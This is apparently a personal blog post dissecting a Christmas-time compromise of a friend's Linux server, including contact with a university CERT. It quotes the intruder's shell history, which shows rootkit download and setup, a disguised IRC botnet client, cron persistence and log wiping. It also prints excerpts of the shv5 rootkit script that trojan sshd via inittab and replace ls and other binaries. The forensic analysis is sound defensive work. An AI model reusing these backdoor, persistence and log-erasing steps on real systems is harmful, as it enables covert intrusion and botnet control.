Linpro held the annual "Linuxdagen" ("Linuxday") 7. May 2007. It was the usual mix of interesting and not so interesting presentations. There was a lot more people attending this year than last year - which was great. My presentation about SELinux dealt with how SELinux enforces "mandatory access control" (MAC) instead of the traditional "discretional access control" (DAC) on Linux. Handout can be found here (norwegian).

9 Apr 2007

Holiday cracking

A friend of mine asked me to have a look at his Linux-server. "It behaves strangely" he said, most notably the web-server apache refused to start. It turned out to be more than just a problem with apache.

I already had an account, so I started to poke around. The first thing I noticed was some strange ls behavior:

 lars@server1:~$ ls
 ls: invalid option -- h
 Try `ls --help' for more information.

That's odd.. Why don't "ls" take "-h" all of a sudden?? I had aliased "ls, so I unaliased it and it worked fine:

 lars@server1:~$ alias ls
 alias ls='ls -sh --color=auto'
 lars@server1:~$ unalias ls
 lars@server1:~$ ls

Strange. I'll have too look into that later, but first get apache up and running:

 lars@server1:~$ sudo /etc/init.d/apache2 start
  * Starting apache 2.0 web server...
 (2): apache2: could not open error log file /var/log/apache2/error.log.
 Unable to open logs

Ookay..? A quick peek into "/var/log/" revealed that "apache2/" was missing, but so was all other directories usually found under there as "mysql/", "exim4/", "samba/" and so on. Something was wrong alright. Did my friend accidentally delete everything by mistake?? He claimed not to. I logged in as root to fix the missing directories:

 lars@server1:~$ sudo -i
 root@server1:~# ls
 ls: unrecognized prefix: do
 ls: unparsable value for LS_COLORS environment variable
 total 44
   4 .                 4 .bashrc           4 .ssh
   4 ..                4 .lesshst          8 .viminfo
   8 .bash_history     4 .profile          4 .vimrc

Even more "ls" trouble? Again, "ls" is aliased:

 root@server1:~# alias ls
 alias ls='ls -sa --color=auto'
 root@server1:~# unalias ls
 root@server1:~# ls

By now, I really suspected that something was very very wrong. Misbehaving "ls" and missing a bunch of stuff under "/var/log/". My suspicion was confirmed when I examined root's ".bash_history":

root@server1:~# cat -n .bash_history
   340  w
   341  cd /var
   342  wget
   343  tar -zxf shv5.tar.gz
   344  rm -rf shv5.tar.gz
   345  mv shv5 .x
   346  cd .x
   347  ./setup zibi.joe.149 54098
   348  passwd
   349  passwd
   350  ps aux
   351  crontab -l
   352  cat /etc/issue
   353  cat /etc/passwd
   354  w
   355  who
   356  cd /usr/lib/libsh
   357  ls
   358  hide +
   359  chmod +x hide
   360  hide +
   361  ./hide +
   362  cd /var/.x
   363  mkdir psotnic
   364  cd psotnic
   365  wget
   366  tar -zxf psotnic0.2.5.tar.gz
   367  rm -rf psotnic0.2.5.tar.gz
   368  ls
   369  mv psotnic-0.2.5-linux-static-ipv6 synscan
   370  ./synscan
   371  vi conf
   372  vi conf1
   373  mv synscan smbd
   374  smbd -c conf
   375  ls
   376  ps aux
   377  ls
   378  ./smbd -c conf
   379  ./smbd -c conf1
   380  ./smbd conf
   381  ./smbd conf1
   382  ./smbd -a conf conf1
   383  rm -rf conf.dec
   384  rm -rf conf1.dec
   385  cd /usr/lib/libsh
   386  ./hide +
   387  exit
   425  ssh ftp@
   426  w
   427  ls
   428  ls
   429  cd /var/.x
   430  ls
   431  cd psotnic/
   432  ls
   433  rm -rf /var/log/*
   434  exit
   435  ls
   436  cd /var/.x/psotnic/
   437  ls
   438  vi conf2
   439  ./smbd -c conf2
   440  ./smbd conf2
   441  ./smbd -a conf conf1 conf2
   442  rm -rf conf2.dec
   443  cd ..
   444  ls
   445  cd /usr/lib/libsh
   446  hide +
   447  ./hide +
   448  exit
   449  ps aux
   450  cd /var/.x
   451  ls
   452  ls
   453  cd psotnic/
   454  ls
   455  cat pid.MastaH
   456  kill -9 2030
   457  ./synscan -a conf conf1
   458  ./smbd -a conf conf1
   459  cd /usr/lib/libsh
   460  ./hide +

Woha! The box had been cracked alright! I found this quite exciting, but obviously, my friend did not. The attacker did one elementary error by not wiping out ".bash_history" - so this is probably not the only error he/she has done. Let's start dissecting this little crack.

First. What is hiding under "/var/.x/" and what does the command "setup zibi.joe.149 54098" do?

root@server1:/var/.x# file setup
setup: Bourne-Again shell script text executable
root@server1:/var/.x# wc -l setup
825 setup
root@server1:/var/.x# head -17 setup
# shv5-internal-release
# by: PinT[x] April/2003
# greetz to:
# [*] SH-members: BeSo_M, grass^, toolman, nobody, niceboy, armando99
#                 C00L|0, GolDenLord, Spike, zion ...
# [*] Alba-Hack : 2Cool, heka, TheMind, ex-THG members ...
# [*] SH-friends: mave, AlexTG, Cat|x, klex, JinkS ...
# [*] tC-members: eksol, termid, hex, keyhook, maher, tripod etc..
# [*] And all others who diserve to be here but i forgot
# [*] them at the moment !

Now, this little shell script does all kinds of nasty stuff, like installing a modified ssh backdoor disguised as "/bin/ttyload" which is then added to "/etc/inittab" for automatic startup at boot:

mv $SSHDIR/sshd /sbin/ttyload
chmod a+xr /sbin/ttyload
chmod o-w /sbin/ttyload
touch -acmr /bin/ls /sbin/ttyload
chattr +isa /sbin/ttyload
kill -9 `pidof ttyload` >/dev/null 2>&1
chattr -isa /etc/inittab
cat /etc/inittab |grep -v ttyload|grep -v getty > /tmp/.init1
cat /etc/inittab |grep getty > /tmp/.init2
echo "# Loading standard ttys" >> /tmp/.init1
echo "0:2345:once:/usr/sbin/ttyload" >> /tmp/.init1

It also backdoor a bunch of standard linux commands:

# Backdoor ps/top/du/ls/netstat/etc..
cd $BASEDIR/bin
mkdir $BACKUP
# ls ...
chattr -isa /bin/ls
cp /bin/ls $BACKUP
mv -f ls /bin/ls
chattr +isa /bin/ls

This explains why "ls" misbehavied!

root@server1:/var/.x# ls -l /usr/lib/libsh/.backup/
total 552
-rwxr-xr-x   1 root     root       126276 Dec 24 22:58 find
-rwxr-xr-x   1 root     root        59012 Dec 24 22:58 ifconfig
-rwxr-xr-x   1 root     root        77832 Dec 24 22:58 ls
-rwxr-xr-x   1 root     root        30388 Dec 24 22:58 md5sum
-rwxr-xr-x   1 root     root        99456 Dec 24 22:58 netstat
-rwxr-xr-x   1 root     root        65492 Dec 24 22:58 ps
-rwxr-xr-x   1 root     root        14016 Dec 24 22:58 pstree
-rwxr-xr-x   1 root     root        50180 Dec 24 22:58 top

Oh - and look at the timestamp. This was done at christmas!

Clearly the original "ls" and the newly installed "ls" are different, as md5 fingerprint and file shows:

root@server1:~# md5sum /usr/lib/libsh/.backup/ls /bin/ls
eef7ca9dd6be1cc53bac84012f8d1675  /usr/lib/libsh/.backup/ls
0a07cf554c1a74ad974416f60916b78d  /bin/ls

root@server1:~# file /bin/ls
/bin/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, dynamically linked
(uses shared libs), for GNU/Linux 2.0.0, stripped

root@server1:~# file /usr/lib/libsh/.backup/ls
/usr/lib/libsh/.backup/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.0, dynamically linked
(uses shared libs), for GNU/Linux 2.6.0, stripped

The backdoor toolkit ("sh5.tar.gz") was downloaded from:

root@server1:~# dig +short -x

I can't make much out of the site, since it's in polish. The attacker probably don't have any connection to this site - I don't think he is that foolish, but then again - he has done several severe mistakes.

The output of the "setup" command, as run by the attacker, can be seen in the screen shot (I was running this on sandboxed server at home):

Okay, so "zibi.joe.149" is the password and "54098" is the port number. It's running and (old) sshd from ssh.com, as seen from the screen shot:

Nice colors.

The backdoor is installed. The next step is to install an irc-bot and make it an zombie. That is what "psotnic0.2.5.tar.gz" contains. The attacker extract and rename the irc-bot to "smbd", which happens to be the same as Samba's daemons ("smbd" and "nbmd").

Next he creates two configuration files, which contains which irc-server to connect to, and which channel to join etc. The config files are then encrypted, and the clear-text ones are deleted:

   371  vi conf
   372  vi conf1
   378  ./smbd -c conf
   379  ./smbd -c conf1
   380  ./smbd conf
   381  ./smbd conf1
   382  ./smbd -a conf conf1

Let's execute command 382 to see what it does:

root@server1:/var/.x/psotnic# ./smbd -a conf conf1

Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49)
Copyright (C) 2003-2005 Grzegorz Rusin

[+] Adding: */10 * * * * cd /var/.x/psotnic; ./smbd conf >/dev/null 2>&1
[+] Adding: */10 * * * * cd /var/.x/psotnic; ./smbd conf1 >/dev/null 2>&1
[+] Added 2 psotnics to cron

Aha! So it gets added to cron:

root@server1:/var/.x/psotnic# crontab -l
*/10 * * * * cd /var/.x/psotnic; ./smbd conf >/dev/null 2>&1
*/10 * * * * cd /var/.x/psotnic; ./smbd conf1 >/dev/null 2>&1

At this time I killed off the two hostile smbd-processes and disabled the cron-job. I fired up a tcpdump in another shell and started the two processes manually:

root@server1:~# cd /var/.x/psotnic; ./smbd conf

Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49)
Copyright (C) 2003-2005 Grzegorz Rusin

[*] Acting as LEAF
[+] Config loaded
[+] Going into background [pid: 5724]
root@server1:/var/.x/psotnic# ./smbd conf1

Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49)
Copyright (C) 2003-2005 Grzegorz Rusin

[*] Acting as LEAF
[+] Config loaded
[+] Going into background [pid: 5727]

These two processes show up using (our backdoored) "ps", so I guess that why the attacker renamed it to "smbd":

root@server1:/var/.x/psotnic# ps axuw | grep smb
root      3799  0.0  0.4  8592 2156 ?        S    11:00   0:00 /usr/sbin/smbd -D
root      3808  0.0  0.1  8592  896 ?        S    11:00   0:00 /usr/sbin/smbd -D
root      5724  0.0  0.1  1648  772 pts/2    S    12:47   0:00 ./smbd conf
root      5727  0.0  0.1  1640  764 pts/2    S    12:47   0:00 ./smbd conf1

The first two are the real samba, the next two are the irc-bot. Let's strace it to see what it does:

root@server1:~# strace -p 5727
connect(3, {sa_family=AF_INET, sin_port=htons(9714), sin_addr=inet_addr("")}, 16) = -1 EINPROGRESS (Operation now in progress)
connect(4, {sa_family=AF_INET, sin_port=htons(6667), sin_addr=inet_addr("")}, 16) = -1 EINPROGRESS (Operation now in progress)

So it tries to connect to IP-address on port 9714 and on port 6667 (this port is used for irc-servers):

root@server1:~# dig +short -x
root@server1:~# dig +short -x

Another polish host. The other IP-adress, "ircnet.irc.powertech.no" is a CNAME for "irc.powertech.no", a well known irc-server here in Norway.

Using the tcpdump, I identified one network-stream to irc-server irc.powertech.no. As these snippets show, they show the smbd connecting to "irc.powertech.no", and joining channel "#aik":

:irc.powertech.no 001 578PAB9NB :Welcome to the Internet Relay Network 578PAB9NB!~op@ti231210a080-3666.bb.online.no
:irc.powertech.no 002 578PAB9NB :Your host is irc.powertech.no, running version 2.11.1p1

:578PAB9NB!~op@ti231210a080-3666.bb.online.no JOIN :#aik
:irc.powertech.no 353 578PAB9NB @ #aik :578PAB9NB kknd raider brandyz jpi conf xerkoz IpaL vvo
:irc.powertech.no 366 578PAB9NB #aik :End of NAMES list.
:irc.powertech.no 352 578PAB9NB #aik ~op ti231210a080-3666.bb.online.no irc.powertech.no 578PAB9NB G :0 op - GTW
:irc.powertech.no 352 578PAB9NB #aik ~kknd ti231210a080-3666.bb.online.no irc.hitos.no kknd H :2 kknd - GTW
:irc.powertech.no 352 578PAB9NB #aik ~raider mobitech-70.max-bc.spb.ru *.dotsrc.org raider G :4 raider - GTW
:irc.powertech.no 352 578PAB9NB #aik ~brandyz mobitech-70.max-bc.spb.ru *.dotsrc.org brandyz G :4 brandyz - GTW
:irc.powertech.no 352 578PAB9NB #aik ~jpi p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp jpi G :8 jpi - GTW
:irc.powertech.no 352 578PAB9NB #aik ~conf p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp conf G :7 conf - GTW
:irc.powertech.no 352 578PAB9NB #aik ~xerkoz p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp xerkoz H :7 xerkoz - GTW
:irc.powertech.no 352 578PAB9NB #aik lm campus19.panorama.sth.ac.at *.at IpaL H :5 .LaPi.9@.IRCNet..
:irc.powertech.no 352 578PAB9NB #aik ~vvo ppp86-7.intelcom.sm *.tiscali.it vvo H :6 vvo - GTW
:irc.powertech.no 315 578PAB9NB #aik :End of WHO list.

This is just the raw network traffic of the irc-session joining channel #aik and listing all other members on that channel. I decided to join that channel myself (notice the nice underground nick: "viper42"). I was surprised not to be asked for any channel password (not that it would matter). I guess our attacker made another bummer:

17:43 -!- viper42 [~viper42@trinity.gnist.org] has joined #aik
17:43 [Users #aik]
17:43 [ 578PAB9NL] [ conf] [ jpi ] [ raider ] [ vvo   ]
17:43 [ brandyz  ] [ IpaL] [ kknd] [ viper42] [ xerkoz]
17:43 -!- Irssi: #aik: Total of 10 nicks [0 ops, 0 halfops, 0 voices, 10 normal]
17:43 -!- Irssi: Join to #aik was synced in 1 secs

I found my friends server with the nick "578PAB9NB" and some other machines. These zombies are probably just waiting for the attacker to join the channel and give orders. Or perhaps the attacker already are lurking there. All have "* - GTW" at the end of their nick, except one:

17:45 [powertech] -!- IpaL [lm@campus19.panorama.sth.ac.at]
17:45 [powertech] -!-  ircname  : LaPi@IRCNet
17:45 [powertech] -!-  channels : #relaks #ping @#seks #aik @#ogame.pl
                                  #pingwinaria #hattrick #trade #admin @#!sh
17:45 [powertech] -!-  server   : *.at [\o\  \o/  /o/]

This is the only nick that also have joined more than one channels. Guess I've found my attacker, unless this is a decoy. (Again: The attacker can't be this stupid?!?) I guess I'll just hang around for a few days just to see if anything interesting comes up. The hostname resolves to:

$ dig +short campus19.panorama.sth.ac.at

And according to RIPE this IP-address belongs to Vienna University Computer Center. I asked them ( cert at aco net ) to take a closer look at the hostname in question and got an answer just hours later:

From: Alexander Talos via RT
To: larstra@ifi.uio.no
Subject: Cracker at campus19.panorama.sth.ac.at (  [ACOnet CERT #38603]
Date: Fri, 18 May 2007 18:22:43 +0200 (CEST)
Reply-To: cert@aco.net

Hash: SHA1


On Fri May 18 14:45:03 2007, larstra@ifi.uio.no wrote:

> I have been tracking down cracker which connected from
> campus19.panorama.sth.ac.at ( The user, which

Ouch. panorama.sth.ac.at is a dormitory with about 4k rooms all
behind a NAT gateway - it will be very hard to get hold of the

This incident will, in the long run, definitely help me getting
rid of the NAT boxes in setups like that, but right now, we will
have to make do with what we have.

> Please investigate the host in question. Perhaps is this a
> compromised host on your network acting as a jumpstation for

Sure, and even in a NATed environment, this is still possible.

Btw, you did a great job in analysing the compromised machine!

I'll let you know when I have either further questions or any
interesting results.


Alexander Talos

- --
IT-Security, Universitaet Wien, ACOnet CERT

T: +43-1-4277-14351  M: +43-664-60277-14351

No luck there I'm afraid..

Oh, - and I tried to log in using ssh (on port 54098) on all zombies listed here, but no ports where open. The other zombies are probably using other ports for the ssh backdoor.

The other identified network stream, destined to "" was garbled, so it's time to fire up up strace again:

root@server1:/var/.x/psotnic# strace -f ./smbd conf1 &> /root/dump.strace

As expected, this creates a lot of output. Among other things, it tries to start the irc-client "BitchX":

[pid  7537] execve("/bin/sh", ["sh", "-c", "BitchX -v 2> /dev/null"]

Which fails, since BitchX is not installed:

[pid  7537] write(2, "sh: ", 4)         = 4
[pid  7537] write(2, "BitchX: not found", 17) = 17
[pid  7537] write(2, "n", 1)           = 1
[pid  7537] close(2)                    = 0

You can see some of the traffic from tcpdump in the picture below:

This was just for one of the two smbd-processes. The other connected to the same polish site, and instead of "irc.powertech.no", it connected to "irc.hitos.no", an IRC-server located in TromsΓΈ.

Also, what the cracker did, was to run a program called "hide" to clean entries from various log-files:

root@server1:/usr/lib/libsh# ./hide +
                Linux Hider v2.0 by mave
                enhanced by me!
[+] [Shkupi Logcleaner] Removing + from the logs........ .

[+] /var/log/messages  ... [done]

[+] /var/run/utmp      ... [done]

[+] /var/log/lastlog   ... [done]

[+] /var/log/wtmp      ... [done]

            * m i s s i o n  a c c o m p l i s h e d *

                    p.h.e.e.r  S.H.c.r.e.w


So why did the attacker then wipe out "/var/log/*"? Did he not trust this tool? Did he panicked?

So the box has been compromised, backdoor installed and it's been converted to a zombie. The attacker made several mistakes allowing him to be detected:
  • Forgot to wipe out root's .bash_history.
  • Wiped out everything under "/var/log/*", including directories which several programs relied on and thereby refusing to start. Now, why did he do that? This certainly was stupid.
  • Changed the root-password. Another bummer. Never ever change the root-password. This surely will catch the attention of a sysadmin.
  • Did not password-protect the IRC-channel where all his zombies resides. Not that it doesn't matter much for us, since we would have sniffed that up as soon as the zombie tried to join the channel.
  • Do the attacker still hang around the same channel as all his zombies does (the LaPi-guy)? If so he's just begging to be exposed.
Severeal questions remains:

   1. Why was the command "ssh ftp@" entered? Did the attacker made a mistake in typing this command or did it serve some other purpose? The IP addres resolves to:

      $ dig +short -x

   2. What kind of traffic goes to (manhattan.na.pl) ?
   3. And the most important question is, how did he get access in the first time? The server was running Ubuntu 6.06 LTS (i386) and was fairly updated. The compromised could be caused by:
          * Guessing the root-password. Unlikely, the password was (fairly) strong.
          * An exploit unknown to the public.
          * A user accessing this server from an already compromised host. The attacker could then sniff the the password.